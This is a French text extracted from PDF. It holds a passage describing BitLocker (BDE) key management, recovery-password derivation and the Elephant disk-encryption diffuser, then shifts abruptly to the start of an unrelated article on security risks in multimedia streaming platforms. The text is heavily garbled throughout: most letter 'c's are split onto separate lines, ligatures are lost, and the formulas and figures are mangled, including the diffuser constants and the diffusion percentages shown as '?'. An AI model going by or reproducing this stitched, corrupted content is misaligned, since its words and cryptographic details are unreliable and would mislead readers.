e home � ma
hine (pour 
onvertir un volume, mettre

BDE hors servi
e, et
.) ou pour le fournisseur WMI (Windows Management Instrumentation).

Les API de BDE servent essentiellement d'a

ès dire
t au driver BDE. En dehors, de la géné-

ration de 
lé (utilisant la CryptoAPI), fveapi.dll appelle dire
tement fvevol.sys et les fon
tions de


hi�rement (telles que la 
onversion de volume) sont a
tuellement implémentées et exé
utées dans le

driver fvevol.sys. BDE 
ommunique ave
 le driver BDE (fvevol.sys) à travers un ensemble d'appels

IOCTL tels que IOCTL_GET_DATASET, IOCTL_SET_DATASET, IOCTL_GET_FVEK, IO-

CTL_GET_VMK, IOCTL_PROVIDE_VMK, et
. Le driver fvevol.sys ré
upère la VMK dé
hif-

frée depuis le bootmgr et la maintient en 
a
he en mémoire non paginée. BDE est fourni ave
 un

fournisseur Windows Management Instrumentation (WMI) appelé Win32_En
ryptableVolume qui
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Fig. 3. Ar
hite
ture du système d'exploitation et du noyau
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expose des méthodes (do
umentées publiquement) permettant l'administration et la 
on�guration.

Les administrateurs du système peuvent 
on�gurer BDE lo
alement et à distan
e à travers les inter-

fa
es exposées par Win32_En
ryptableVolume. Les interfa
es de 
e fournisseur WMI 
omprennent

des fon
tionnalités de management pour 
ommen
er, suspendre, revenir en arrière sur la 
on�gu-

ration de 
hi�rement d'un volume disque et pour 
on�gurer la façon dont la 
lé de 
hi�rement du

volume disque peut être protégée.

Un autre fournisseur WMI, Win32_TPM, permet aux administrateurs de 
on�gurer le hardware

de sé
urité TPM qui peut être utilisé pour protéger de façon transparente la 
lé de 
hi�rement du

volume BDE.

Les méthodes exposées par la 
lasse WMI Win32_En
ryptableVolume 
omprennent :

De
rypt, En
rypt, Prote
tKeyWithTPM, Prote
tKeyWithExternalKey,

Prote
tKeyWithNumeri
alPassword, Prote
tKeyWithTPMAndPIN,

Prote
tKeyWithTPMAndStartupKey, et
{\ldots}

Un outil disponible en ligne de 
ommande (manage-bde) est disponible a�n de fournir aux ad-

ministrateurs de système un moyen simple pour véri�er l'état des disques et pour e�e
tuer des

tâ
hes d'administration 
lassiques. Cet outil est é
rit 
omme un s
ript fondé sur les fournisseurs

WMI disponibles et peut être fa
ilement modi�é pour aider à la 
onstru
tion de solutions 
ustom

permettant de répondre à d'autres besoins d'administration. En voi
i un exemple :

manage-bde[.wsf℄ -se
ure

[{-Re
overyPassword|-rp} {Numeri
alPassword |}℄
[{-Re
overyKey|-rk} PathToExternalKeyDire
tory ℄

[{-StartupKey|-sk} PathToExternalKeyDire
tory ℄

[{-TPM_PIN|-tp} PIN ℄

[{-TPM_StartupKey|-tsk} PathToExternalKeyDire
tory ℄

L'interfa
e home � ma
hine de BDE honore et met en vigueur les politiques de groupe telles

qu'elles sont dé�nies quand la ma
hine fait partie d'un domaine Windows. Les politiques de groupe

permettent le 
ontr�le et la 
on�guration de fon
tionnalités de BDE telles que :

� Obliger de faire la sauvegarde des informations de ré
upération dans l'A
tive Dire
tory

� Contr�ler quels mé
anismes de ré
upération sont disponibles

� Contr�ler la méthode de 
hi�rement utilisée pour le volume

� Requérir une authenti�
ation à deux fa
teurs et 
ontr�ler d'autres mé
anismes de prote
tion

dans l'assistant de 
on�guration de BDE

� Et
. . .

4 Gestion des 
lés

Nous présentons 
i-dessous un résumé synthétique de la gestion des 
lés e�e
tuée par BDE.

4.1 Volume Master Key

La Volume Master Key (VMK) est une 
lé de 256 bits générée de façon aléatoire quand BDE

est paramétré pour la première fois. Il n'y a pas de mé
anisme pour 
hanger ou renouveler la VMK,

ex
epté en mettant hors servi
e BDE (
e qui provoque le dé
hi�rement du volume entier) et en le

paramétrant à nouveau (
e qui provoque la génération d'une nouvelle VMK et le 
hi�rement du

volume).
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La VMK est protégée par des � key prote
tors � qui peuvent exister simultanément. La table 2

synthétise les di�érents mé
anismes de prote
tion de la Volume Master Key (VMK) pour BDE :

Prote
tion de la VMK Algorithme et longueur

de la 
lé utilisée pour 
hif-

frer la VMK

Clé utilisée pour 
hi�rer

la VMK

TPM seul RSA 2048 SRK (Storage Root Key) du

TPM : RSA 2048, 
lé pu-

blique

TPM ave
 le 
ode PIN de

l'utilisateur

RSA 2048

Le 
ode PIN est sur 4 à 20

digits

Les premiers 160 bits de

SHA256 (PIN) sont utilisés


omme donnée d'autorisation

dans le TPM

SRK (Storage Root Key) du

TPM : RSA 2048, 
lé pu-

blique

Plusieurs 
ou
hes � TPM

ave
 une 
lé externe utilisée


omme 
lé partielle

AES 256 SHA256 (IK2, ExK)

IK2 est une 
lé intermédiaire

générée aléatoirement, sto-


kée et protégée par le TPM

sur le disque.

ExK est la 
lé externe.

Clé externe

Ma
hine sans TPM seule-

ment

AES 256 ExK (
lé externe)

Clé de ré
upération AES 256 RK (Clé de ré
upération)

Mot de passe de ré
upération AES 256 DF (Salage, mot de passe)

Le mode de passe est une va-

leur sur 48 digits générée aléa-

toirement.

� Salage � est une valeur

sur 128 bits générée aléatoi-

rement et sto
kée en 
lair sur

le disque.

DF est une fon
tion de dériva-

tion itérative basée sur SHA-

256.

Clé en 
lair AES 256 CC (Clé en 
lair)

Tab. 2. Les di�érents mé
anismes de prote
tion de la Volume Master Key (VML)

Le 
hi�rement des 
lés en utilisant AES 256 est e�e
tué en utilisant le mode CCM (Counter

with CBC-MAC ) du RFC 4309 de l'IETF. Le 
ode en question utilise l'implémentation Mi
rosoft

d'AES qui est linké statiquement ave
 la librairie interne rsa32.lib.

Nous présentons ensuite les di�érentes façons de protéger la VMK en fon
tion de la 
on�guration,


e qui produira les blobs VMK 
orrespondants (ou key prote
tors) sur le volume.
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Sur une ma
hine TPM

Mot de passe de ré
upération Sur une ma
hine qui ne fait pas partie d'un domaine, le paramé-

trage d'un mot de passe de ré
upération est optionnel. Le mot de passe est généré de façon

aléatoire par BDE sous la forme d'une entité 128 bits qui est a�
hée sous la forme d'une

représentation de 48 digits (8 groupes of 6) à l'utilisateur

� La 
lé 128 bits est é
latée en 8 blo
s de valeurs de 16 bits.

� Chaque valeur de 16 bits génère un blo
 de 6 digits en multipliant le nombre par 11.

� Le mot de passe est formaté pour l'a�
hage sous la forme 111111-222222-333333-444444-

555555-666666-777777-888888. Chaque blo
 de 6 digits peut être entré individuellement et

véri�é ; il n'est est valide que si :

(nombre % 11)==0 and (nombre/11)<2�16).

L'utilisateur peut imprimer le mot de passe ou le sauvegarder dans un �
hier.

Sur une ma
hine faisant partie d'un domaine, la politique de groupe di
te si un mot de

passe de ré
upération est 
réé ou non. Si la politique de groupe requiert un mot de passe de

ré
upération, le mot de passe est généré aléatoirement et sto
ké dans l'A
tive Dire
tory. Le

mot de passe en question n'est pas mis à la disposition de l'utilisateur pendant le paramétrage

de BDE.

Un pro
essus de dérivation itérative de 
lé qui 
ombine le mot de passe sur 128 bits ave
 un

salage sur 128 bits permet de générer une 
lé AES sur 256 bits (désignée � R � 
i-dessous)

qui est utilisée pour 
hi�rer la VMK 
omme suit :

P = SHA-256(Password data)

S = 16 bytes of salt

R = 0 // 256-bit 
haining variable

For ( i=0; i$<$2\^{}20; i++ )

R = SHA-256( R $\vert $ P $\vert $ S $\vert $ i ) \newline

// i is en
oded as an 8-byte integer

Return R

Quand on e�e
tue la ré
upération, les digits du mot de passe de ré
upération sont entrés en

utilisant les 
lés de fon
tion du 
lavier (F1-F10), les 
lés numériques 0-9, ou les �è
hes.

Clé de ré
upération La 
lé de ré
upération est optionnelle. Pendant le paramétrage initial, l'uti-

lisateur se voit présenter le 
hoix de 
réer une 
lé de ré
upération et de la sauvegarder dans

un �
hier. La 
lé de ré
upération est une 
lé sur 256 bits et générée aléatoirement. Sur une

ma
hine faisant partie d'un domaine, la politique de groupe di
te le fait qu'une 
lé de ré
u-

pération soit 
réée ou non.

L'interfa
e homme � ma
hine permet à l'utilisateur de sauvegarder sa 
lé dans un �
hier situé

sur une 
lé USB amovible ou sur un partage réseau.

TPM ave
 ou sans 
ode PIN L'utilisation d'un 
ode PIN est optionnelle. Pendant le paramé-

trage initial, l'utilisateur peut 
hoisir de rentrer un 
ode PIN qui sera utilisé 
omme donnée

d'autorisation par le TPM. Le 
ode PIN peut avoir de 4 à 20 digits. Sur une ma
hine faisant

partie d'un domaine, l'utilisation d'un 
ode PIN peut être mandatée par une politique de

groupe.
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TPM ave
 
lé externe (prote
tion à deux niveaux) L'utilisation d'une 
lé externe est option-

nelle. Pendant le paramétrage initial, l'utilisateur peut 
hoisir d'avoir une 
lé externe générée

aléatoirement et sto
kée sur un périphérique externe (
lé USB). La 
lé externe sera utilisée


omme 
lé partielle a�n de permettre la mise en ÷uvre d'une prote
tion à deux niveaux. Sur

une ma
hine faisant partie d'un domaine, la politique de groupe di
te le fait qu'une 
lé externe

sout 
réée ou non.

Clé en 
lair La VMK est 
hi�rée en utilisant une 
lé de 256 bits générée aléatoirement et qui

est sto
kée sur le disque au sein du blob VMK. Cette situation est une situation temporaire

qui 
orrespond au fait d'avoir BDE en Disabled Mode (voir plus haut).

Sur une ma
hine sans TPM Sur une ma
hine sans TPM, la prote
tion fondée sur le TPM est

rempla
ée par le mé
anisme de prote
tion par 
lé externe selon lequel la VMK est 
hi�rée par un

algorithme AES 256 en utilisant la 
lé externe. L'External Key VMK blob est alors le blob prin
ipal

utilisé pour dé
hi�rer le volume.

De plus le Re
overy Password VMK blob et le Re
overy Key VMK blob peuvent aussi être

présents sur une ma
hine sans TPM.

Le Disabled Mode asso
ié au Clear Key VMK blob fon
tionne également sur une ma
hine sans

TPM.

Les key prote
tors (ou les VMK key blobs) sont sto
kés 
omme métadonnées sur le volume

du système d'exploitation (
elui qui est 
hi�ré par BDE) à trois empla
ements di�érents. Ces

métadonnées représentent une très faible portion du volume du système d'exploitation qui n'est pas


hi�ré par BDE. Malgré que 
es zones du volume du système d'exploitation soient en 
lair dans le

sens où elles ne sont pas 
hi�rées par la FVEK (Full Volume En
ryption Key), 
es métadonnées


ontiennent typiquement des données qui sont 
hi�rées par la VMK (Volume Master Key).

Chaque stru
ture de métadonnées 
ontient des informations en état à la fois 
hi�ré et non 
hi�ré.

Plusieurs VMK blobs ou � key prote
tors � peuvent résider sur les se
tions métadonnées du volume.

Ce sont :

� Le mot de passe de ré
upération du VMK blob.

� La 
lé de ré
upération du VMK blob.

� Le TPM+PIN VMK blob.

� Le Two-Layer VMK blob.

� Le start-up key VMK blob (pour des s
énarios de 
lé de démarrage seule).

� Le 
lear key VMK blob.

Les TPM+PIN VMK blobs et Two-Layer VMK blobs peuvent être présents simultanément sur le

volume, a�n de permettre à l'utilisateur de démarrer ave
 soit un 
ode PIN ou une 
lé externe

(deux niveaux).

Toutefois, si l'un quel
onque des TPM+PIN VMK blobs ou Two-Layer VMK blob est présent,

alors, il n'y a pas de � TPM Only � blob (
ar sa présen
e neutraliserait la sé
urité plus forte que

permet le 
ode PIN ou la 
lé externe). Quand le TPM only blob est présent, les seuls autres blobs

qui peuvent être présents sur le volume sont les Re
overy Password et Re
overy Key blobs.

En disabled mode, un key blob 
hi�rant la VMK (la 
lé en 
lair) est sto
ké en 
lair dans la

stru
ture de métadonnées sur le volume, en plus des autres blobs existants.
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4.2 4.2 Ré
upération depuis l'A
tive Dire
tory

Les informations de ré
upération relatives à la fois à la propriété du TPM et à la ré
upération

de la CMK sont sto
kées dans l'A
tive Dire
tory quand la ma
hine fait partie d'un domaine. Les

entrées en question sont protégées par des ACL et transmises à travers des 
anaux LDAP sé
urisés

par Kerberos. On utilise les attributs et les sous-attributs de l'objet Computer.

Fon
tionnalité TPM Puisqu'il n'y a qu'un mot de passe de propriétaire du TPM par ordinateur,

le hash du mot de passe de propriétaire du TPM est sto
ké sous la forme d'un attribut de l'objet

Computer.

Fon
tionnalité BDE Les informations de ré
upération de BDE sont sto
kées dans un sous-objet

de l'objet Computer. L'objet Computer est don
 le 
ontainer de l'objet de ré
upération BDE.

Il peut exister plus d'un objet de ré
upération BDE pour 
haque objet Computer puisqu'il peut

y avoir plus d'un mot de passe de ré
upération asso
ié à un volume BDE.

Chaque objet de ré
upération BDE a un nom unique et 
ontient un GUID et un mot de passe

de ré
upération. Le GUID est un identi�
ateur unique pour le mot de passe de ré
upération d'un

volume FVE.

Le nom d'un objet de ré
upération BDE est limité à 64 
ara
tères en raison des 
ontraintes

de l'A
tive Dire
tory. Ce nom in
orpore le GUID du mot de passe de ré
upération ainsi que des

informations sur la date et l'heure sur une longueur �xe de 63 
ara
tères. Il est de la forme :

<Obje
t Creation Date and Time><Re
overy Password GUID>
Par exemple :

2005-09-30T17 :08 :23-08 :00{063EA4E1-220C-4293-BA01-4754620A96E7}

Le 
ommon name (
n) A
tive Dire
tory pour l'objet de ré
upération BDE est ms-FVE-Re
overy-

Information et a, en plus des attributs obligatoires, deux attributs, � musthave � nommés ms-

FVE-Re
overyPassword et ms-FVE-Re
overyGuid.

Le mot de passe de ré
upération BDE est sto
ké sous la forme d'une 
haîne Uni
ode en utilisant

le 
ommon name ms-FVE-Re
overyPassword. Le GUID BDE est sto
ké sous la forme d'une 
haîne

d'o
tets en utilisant le 
ommon name ms-FVE-Re
overyGuid.

4.3 Full Volume En
ryption Key

La VMK est utilisée pour protéger la FVEK (Full Volume En
ryption Key) qui sera utilisée


omme 
lé pour la méthode de 
hi�rement Elephant qui sera dé
rite ultérieurement. Le fait d'utiliser

un niveau d'indire
tion pour la prote
tion du disque à travers la VMK permet au système de pouvoir

fa
ilement utiliser une autre 
lé (re-keying) quand l'une ou l'autre des 
lés situées plus haut dans

la 
haîne de 
on�an
e est perdue ou 
ompromise, 
e qui est parti
ulièrement important quand le

dé
hi�rement et le re-
hi�rement d'un volume est 
oûteux.

La FVEK est une 
lé de 
hi�rement générée aléatoirement de 128, 256, ou 512 bits en fon
tion

de la méthode de 
hi�rement qui est 
on�gurée (par une politique de groupe sur une ma
hine

appartenant à un domaine). La FVEK est 
hi�rée en utilisant un algorithme AES 256 en mode

CCM tel que spé
i�é par le RFC 4309 de l'IETF. Le 
ode utilise 
orrespond à l'implémentation par

Mi
rosoft d'AES linké en statique ave
 la librairie interne rsa32.lib. La VMK est utilisée 
omme


lé AES. Le blog FVEK est sto
ké 
omme métadonnées (stru
ture FVE_DATUM_KEY) ave
 les

VMK key prote
tors sur le volume du système d'exploitation.
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Méthode de 
hi�rement utilisée Taille de la FVEK

Elephant 128 (défaut) 512

Elephant 256 512

AES 128 128

AES 256 256

5 Chi�rement des blo
s disque

BDE 
hi�re les données d'une partition disque au niveau se
teur en utilisant la méthode de 
hif-

frement Elephant. Elephant utilise AES en mode CBC (Cypher Blo
k Chaining) pour le 
hi�rement

de base en l'améliorant à l'aide d'un � di�useur � pour lutter 
ontre les attaques par manipulation

de bits. La sé
urité du 
hi�rement de base est fournie par la 
ou
he AES qui a été largement revue

par la 
ommunauté s
ienti�que et est généralement a

eptée par l'industrie. La 
ou
he de di�usion

ajoute 
ertaines propriétés de sé
urité supplémentaires qui sont souhaitables pour 
hi�rer un disque

mais ne sont pas fournies par des méthodes de 
hi�rement traditionnelles telles qu'AES.

La méthode Elephant a les 
ara
téristiques suivantes :

� Elle 
hi�re et dé
hi�re les se
teurs disque de 512, 1024, 2048, 4096 ou 8192 o
tets.

� Elle prend le numéro de se
teur 
omme un paramètre supplémentaire (� la distorsion �) et

implémente des algorithmes de 
hi�rement/dé
hi�rement di�érents pour 
ha
un des se
teurs.

� Elle protégé la 
on�dentialité du 
ontenu en 
lair.

� Un attaquant ne peut 
ontr�ler ou prédire au
un des aspe
ts des 
hangements du 
ontenu en


lair résultant d'une modi�
ation ou d'un rempla
ement du 
ontenu un se
teur 
hi�ré.

� Elle est su�samment rapide pour que le ralentissement des performan
es d'un portable induit

par le 
hi�rement soit a

eptable pour la plupart des utilisateurs.

� Elle a été validée à travers un examen publi
 et est généralement 
onsidérée 
omme sûre.

La plateforme n'expose pas d'API permettant à des développeurs d'e�e
tuer des opérations de


hi�rement fondées sur Elephant. Au sein de BDE, le 
ode e�e
tuant le 
hi�rement/dé
hi�rement

en utilisant Elephant s'exé
ute en mode noyau.

Rentrons maintenant dans quelques détails sur la méthode Elephant. Dans la droite ligne de

Bear, Lion, et Beast

2

, la méthode de 
hi�rement de BDE a été appelée Elephant. Elephant 
onsiste

en l'utilisation d'AES-CBC ave
 un di�useur additionnel qui permet de stopper les attaques en

modi�
ation de bits.

Il y a quatre opérations séparées pour 
haque 
hi�rement. Le 
ontenu en 
lair est 
omposé à

travers un XOR ave
 une 
lé de se
teur, puis passe à travers deux di�useurs (sans 
lé), et est

�nalement 
hi�ré en AES en mode CBC.

Le 
omposant 
lé de se
teur et le 
omposant AES-CBC utilisent des 
lés indépendantes, 
e qui

permet d'administrer une preuve fa
ile du fait que la méthode Elephant soit au moins aussi sûre

qu'AES-CBC. Cha
un de 
es deux 
omposants utilise une 
lé de 256 bits, 
e qui revient à dire que

la 
lé Elephant 
omplète est une 
lé de 512 bits qui n'est autre que la 
lé FVEK que l'on a dé
rit

pré
édemment. Les premiers 256 bits de la FVEK sont utilisés par le 
omposant 
lé de se
teur, les

derniers 256 bits de la FVEK 
onstituant la 
lé de l'algorithme AES.

2

Bear and Lion [1℄, [2℄ sont deux méthodes de type blo
k 
ipher utilisant des grands blo
s proposées par

Ross Andersen et Eli Biham.

Malgré le fait que les méthodes Bear, Lion et Beast auraient pu être retenus pour satisfaire les exigen
es

de BDE, il n'en a rien été pour des raisons de performan
e.
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En fon
tion de la version 
hoisie, les deux 
omposants peuvent n'utiliser que 128 bits parmi les

256 bits fournis, auquel 
as, seuls les derniers 128 bits sont retenus et utilisés.

Quand la méthode Elephant est utilisée, la 
lé Elephant est toujours de 512 bits a�n de pouvoir

supporter des 
lés plus longues sans pour autant 
hanger le système de gestion de 
lés. La méthode

par laquelle les deux 
omposants utilisent des 
lés 128 bits est appelée Elephant-128, qui est la

méthode de 
hi�rement par défaut. La version où les deux 
omposants utilisent des 
lés 256 bits

est appelée Elephant-256.

La taille de blo
 d'Elephant est variable : elle peut être de n'importe quelle puissan
e de 2 entre

512 et 8192 o
tets (4096 � 65536 bits).

AES-CBC Le 
omposant AES-CBC est simple. La 
lé AES KAES est soit de 128 bits soit de 256

bits, en fon
tion de la méthode qui a été 
hoisit lors de la 
on�guration (Elephant-128, le défaut,

ou Elephant-256 ). La taille du blo
 est toujours un multiple de 16 o
tets, de telle façon qu'au
un

remplissage ne soit né
essaire. Le ve
teur d'initialisation pour le se
teur s est 
al
ulé 
omme suit :

IVs := E(K
AES

, e(s)), (1)
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où E() est la fon
tion de 
hi�rement AES, et e()est une fon
tion d'en
odage qui fait 
orrespondre

à 
haque numéro de se
teur s une valeur unique de 16 o
tets. Il est important de noter qu'IV s

dépend de la 
lé et du numéro de se
teur mais pas des données.

Le 
ontenu en 
lair est 
hi�ré en utilisant AES-CBC et le ve
teur d'initialisation IV du se
teur.

Le dé
hi�rement utilise la fon
tion inverse.

Le résultat de e()est la valeur de distorsion qui est utilisée dans 
ette partie de l'algorithme

de 
hi�rement. Le 
hoix de e() n'a pas d'impli
ations en termes de sé
urité (tant que 
ela reste

une inje
tion) et pourra varier ave
 l'appli
ation. Dans le 
as de l'appli
ation BDE la fon
tion

d'en
odage e est la plus simple possible pour l'implémentation. Les premiers 8 o
tets du résultat


orrespondent au dépla
ement en o
tets pour atteindre le se
teur sur le volume (le dé
alage en

o
tets depuis le début du volume). Cet entier est en
odé en utilisant une logique de type little

endian (least-signi�
ant-byte �rst en
oding). Les derniers 8 o
tets du résultat sont toujours à zéro.

Clé de se
teur La 
lé de se
teur de 256 bits est 
al
ulée 
omme suit :

Ks := E(K
se


, e(s))||E(K
se


, e′(s)). (2)

où E()est la fon
tion de 
hi�rement AES, Ksec est la 
lé 128 ou 256 bits (en fon
tion de la méthode :

Elephant-128, le défaut, ou Elephant-256 ) pour 
e 
omposant, e(s)est la fon
tion d'en
odage utilisée
dans la 
ou
he AES-CBC et e′(s)est la même fon
tion que e(s)ex
epté le fait que le dernier o
tet
du résultat est 1.

La 
lé de se
teur Ks est répétée autant de fois que né
essaire pour obtenir une 
lé de la taille

du blo
, et le résultat se voit appliqué un XOR ave
 le 
ontenu en 
lair.

Di�useurs La di�usion est la propriété d'un algorithme de 
hi�rement qui assure que le 
hange-

ment de quelques bits en entrée 
onduit au 
hangement de nombreux bits en sortie.

Les di�useurs A et B sont très semblables mais ils fon
tionnent dans des dire
tions opposées.

La 
on
eption de base de notre di�useur a de bonnes propriétés de di�usion dans une dire
tion

mais de mauvaises propriétés de di�usion dans l'autre dire
tion ; en utilisant deux di�useurs, 
ela

permet d'avoir de bonnes 
ara
téristiques de di�usion dans les deux dire
tions.

Les di�useurs ont été 
onçus pour favoriser le dé
hi�rement dans la mesure où 
'est l'opération

la plus 
ommune. Nous dé
rirons d'abord 
es algorithmes dans le sens du dé
hi�rement et ensuite

la fon
tion de 
hi�rement 
orrespondante.

Chaque di�useur interprète les données du se
teur dans un tableau de mots de 32 bits, 
haque

mot étant en
odé suivant une logique little endian. Soit n le nombre de mots dans le se
teur et di

le ième mot du se
teur où i est 
onsidéré modulo n pour permettre de simpli�er la notation. La

fon
tion de 
hi�rement du di�useur A est donné par :

fori = 0, 1, 2, . . . , n.A

y
les

− 1 di ← di + (di−2XOR(di−5 <<< R
(a)
imod4)). (3)

La valeur i est un 
ompteur de bou
le qui par
ourt le tableau de données Acycles fois. (Il faut

se souvenir que tous les indi
es sont modulo n). L'addition est e�e
tuée modulo 2

32
, <<< est

l'opérateur de rotation à gau
he et R(a)
:= [9,0,13,0℄ est un tableau de 4 
onstantes qui spé
i�ent

les quantités de rotation à e�e
tuer.

La fon
tion de 
hi�rement 
orrespondante pour le di�useur A est fa
ile à dériver :

fori = n.A

y
les

− 1, . . . , 2, 1, 0 di ← di − (di−2XOR(di−5 <<< R
(a)
imod4)). (4)



182

Les propriétés asymétriques de di�usion sont fa
iles à per
evoir. Si l'on regarde le di�useur A en

mode dé
hi�rement, le résultat d'une itération est utilisé 2 et 5 itérations plus tard, 
e qui propage

rapidement les 
hangements au reste du se
teur. Dans la dire
tion du 
hi�rement, la sortir d'une

itération est utilisée n-5 et n-2 itérations plus tard, 
e qui fournit une di�usion beau
oup plus lente.

Le di�useur B est très semblable. Il a une bonne propriété de di�usion dans le sens du 
hi�re-

ment. La fon
tion de dé
hi�rement du di�useur B est dé�nie par :

fori = 0, 1, 2, . . . , n.B

y
les

− 1 di ← di + (di+2XOR(di+5 <<< R
(a)
imod4)). (5)

où R(b) := [0, 10, 0, 25]. La fon
tion de 
hi�rement du di�useur B est donnée par :

fori = n.B

y
les

− 1, . . . , 2, 1, 0 di ← di − (di+2XOR(di+5 <<< R
(a)
imod4)). (6)

Les 
onstantesAcycles etBcycles dé�nissent 
ombien de fois 
ha
un des di�useurs bou
lent sur le

se
teur. Elles sont dé�nies 
omme Acycles := 5 and Bcycles := 3.

Pour 
hoisir le nombre de rotations, nous avons mené des expérimentations autour des propriétés

de di�usion de nos di�useurs (dans la dire
tion de bonne di�usion). Nous nous sommes 
on
entrés

sur la vitesse à laquelle une di�éren
e d'un simple bit se di�usait à travers un mot de 32 bits.

Nos résultats ont montré que si l'on 
hangeait un seul bit dans di, 
ha
un des bits de di+43avait

une 
han
e d'au moins ? de 
hanger à leur tour en un seul 
y
le avant d'un di�useur, les 43 mots


orrespondant à environ ? d'un se
teur de 512 o
tets

3

.
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Résumé La di�usion multimédia bouleverse a
tuellement l'Internet et les réseaux d'entre-

prise. Les plates-formes de di�usion de 
ontenus multimédia se vulgarisent de plus en plus

(P2P, VoD, vidéosurveillan
e, imagerie médi
ale, et
.). Les te
hniques de 
ommuni
ation et

les moyens d'a

ès se diversi�ent en 
onséquen
e. Néanmoins, 
e développement rapide se voit

entravé par l'absen
e de politiques de sé
urité assez �ables, l'un des obsta
les majeurs est


ertainement la gestion des droits (DRM) et les risques de piratage, problème qui s'ampli�e

en
ore dans les 
as de �ux multimédia adaptables sur des réseaux hétérogènes.

Cet arti
le a don
 pour but d'expliquer les vulnérabilités généralement exploitées par les

pirates pour s'introduire dans les systèmes de di�usion de �ux multimédia et pour s'approprier

les 
ontenus é
hangés. Il ne vise pas à expliquer 
omment 
ompromettre un système mais à


omprendre la façon dont il peut l'être a�n de mieux pouvoir s'en prémunir. En e�et, la

meilleure façon de protéger un système est de pro
éder de la même manière que les pirates

a�n de 
artographier les vulnérabilités du système. Ainsi 
et arti
le ne donne au
une pré
ision

sur la manière dont les failles sont exploitées, mais présente les vulnérabilités et les attaques

qui les 
iblent, permettant de déterminer des moyens e�
a
es pour les 
ontrer.

Un prototype de plate-forme d'é
hange de do
uments multimédia totalement sé
urisée est

dé
rit brièvement à la �n de 
et arti
le pour valider les solutions proposées.

Mots Clés : Di�usion multimédia, sé
urité, adaptation de 
ontenu, piratage.

1 Introdu
tion

Le potentiel de transmission de �
hiers multimédia (musique, des jeux vidéo, des séquen
es

de �lms, des émissions télévisées, et
.) en temps réel, ainsi que d'autres 
ontenus multimédias

numériques sur les terminaux mobiles (téléphones portables, PDA, et
.) a dé
len
hé une a
tivité

fébrile sans pré
édent. A
tuellement, dans la 
ommunauté multimédia, beau
oup de travaux visent

l'a

ès omniprésent aux 
ontenus en ligne [13℄[24℄[10℄. L'obje
tif est d'o�rir des servi
es partout,

n'importe quand, sur n'importe quel terminal. Les di�
ultés traitées sont généralement la diversité

des do
uments et 
ontenus multimédia [24℄, l'hétérogénéité des réseaux d'a

ès et la variété des

terminaux [14℄. Ce
i a 
onduit à l'apparition de plates-formes de di�usion multimédia pour les

é
hanges de 
es 
ontenus entre des terminaux de di�érents pro�ls, selon des ar
hite
tures Peer to

Peer (P2P) ou Client-serveur.

Une problématique très importante reste néanmoins ré
urrente dans 
e type de servi
es : il

s'agit de l'exposition de 
es 
ontenus aux risques d'attaque ou de piratage sur les réseaux lors

des opérations de transfert et d'adaptation (se
tion 3 ), ainsi que sur les terminaux à faibles res-

sour
es (se
tion 5 ), et la di�
ulté de la gestion des droits numériques (DRM [12℄[17℄, Digital Right

Management).
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Dans 
et arti
le, nous nous proposons d'aborder les plates-formes de di�usion multimédia sous

l'angle général de la sé
urité et des risques d'attaque (des 
omportements, des ressour
es disponibles,

et
.). Di�érentes dé
linaisons de 
ette même appro
he sont proposées :

� types d'attaques envisageables sur les 
ontenus mono ou multimédia é
hangés (images, vidéos,

audio, et
.) ;

� risques liés aux opérations d'adaptation des do
uments ;

� vulnérabilité des terminaux mobiles.

La suite de l'arti
le est arti
ulée 
omme suit. Nous 
ommen
erons dans la se
tion 2 par pré-

senter l'ar
hite
ture des plates-formes de di�usion multimédia ainsi que les formats des do
uments


on
ernés par notre étude. Dans les se
tions 3, 4 et 5, nous dé
rirons les risques liés à 
es servi
es de

di�usion et transa
tions e�e
tuées sur 
es ar
hite
tures. Nous donnerons ensuite, dans la se
tion 6,

quelques solutions envisageables pour résoudre 
es problèmes de sé
urité et pour se prémunir 
ontre


es attaques. Nous terminerons par la se
tion 7, ave
 la des
ription de notre plate-forme d'é
hanges

de do
uments multimédia sé
urisées pour valider les solutions proposées.

2 Topologie d'une plate-forme de 
ommuni
ation multimédia

Nous distinguons deux types d'ar
hite
tures de plates-formes de di�usion multimédia selon la

nature (adaptabilité) des �ux é
hangés entre les fournisseurs de 
ontenu et les ré
epteurs. Nous

di�éren
ions don
 les plates-formes où les fournisseurs produisent des �ux non adaptables et pro-

posent des versions multiples de leurs 
ontenus, 
ha
une destinée à un pro�l matériel donné, et

les plates-formes reposant sur l'envoi de �ux adaptables (se
tion 2.2), où une même version sera

envoyée à tous les ré
epteurs, des opérateurs d'adaptation (proxies) s'o

upant ensuite de fournir

le bon format à 
haque ré
epteur selon son pro�l.

2.1 Plate-forme de di�usion multimédia adaptative

Dans 
ette étude nous nous sommes intéressés aux plates-formes dites adaptatives, 
'est à dire

utilisant des proxies qui adaptent dynamiquement les données transmises, de façon à 
e que les

terminaux ré
epteurs puissent les exploiter e�
a
ement, sans sur
oût lié à leur manipulation.

Les proxies béné�
ient de mé
anismes d'adaptation 
omme des �ltres (transformation vidéo,

modi�
ation automatique d'images, redimensionnement, re
adrage, et
.), des mé
anismes de trans-


odage (
hangement de format vidéo/ audio/ images), et
. Les données sont adaptées en fon
tion

des 
ara
téristiques du terminal ré
epteur et des préféren
es de l'utilisateur [15℄.

Les 
omposants qui interviennent dans 
e système de di�usion 
onstituent une plate-forme de


ommuni
ation multimédia adaptative. La Figure 1 illustre 
es 
omposants ainsi que leur organisa-

tion physique (
lients, serveur, proxies, et
.). L'obje
tif d'un tel système est de restituer à 
haque


lient l'information générée par le serveur, tout en satisfaisant aux besoins et aux 
ontraintes dé�nis

par le 
ontexte de 
e 
lient (format, taille d'é
ran, langue, et
.).

Émetteur (Serveur) Le serveur a pour tâ
he de produire les �
hiers multimédia adaptables,

sous un format bien dé�ni. Il le transmet ensuite, selon la politique de 
ommuni
ation, au proxy le

plus pro
he en spé
i�ant le ou les destinataires.

Ré
epteurs (Clients) Ce sont des terminaux hétérogènes qui permettent de lire le �ux mul-

timédia émis par le serveur. Dans une topologie P2P, 
es derniers peuvent aussi jouer le r�le de

serveurs.
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Fig. 1. Topologie de la plate-forme de 
ommuni
ation

Proxies Un proxy représente une entité logique pla
ée sur des n÷uds intermédiaires dans la

plate-forme. Son r�le 
onsiste à ré
upérer les données des émetteurs, à déterminer les adaptations

qui doivent être employées et à envoyer les données adaptées aux autres proxies ou dire
tement aux


lients.

La fon
tion prin
ipale de 
ette plate-forme de 
ommuni
ation, qui la di�éren
ie d'un système de


ommuni
ation 
lassique, est de 
onfronter les présentations multimédia auxquelles un utilisateur

a

ède ave
 le 
ontexte l'environnant. Le résultat de la 
onfrontation, 
'est-à-dire l'adaptation des

présentations multimédia au 
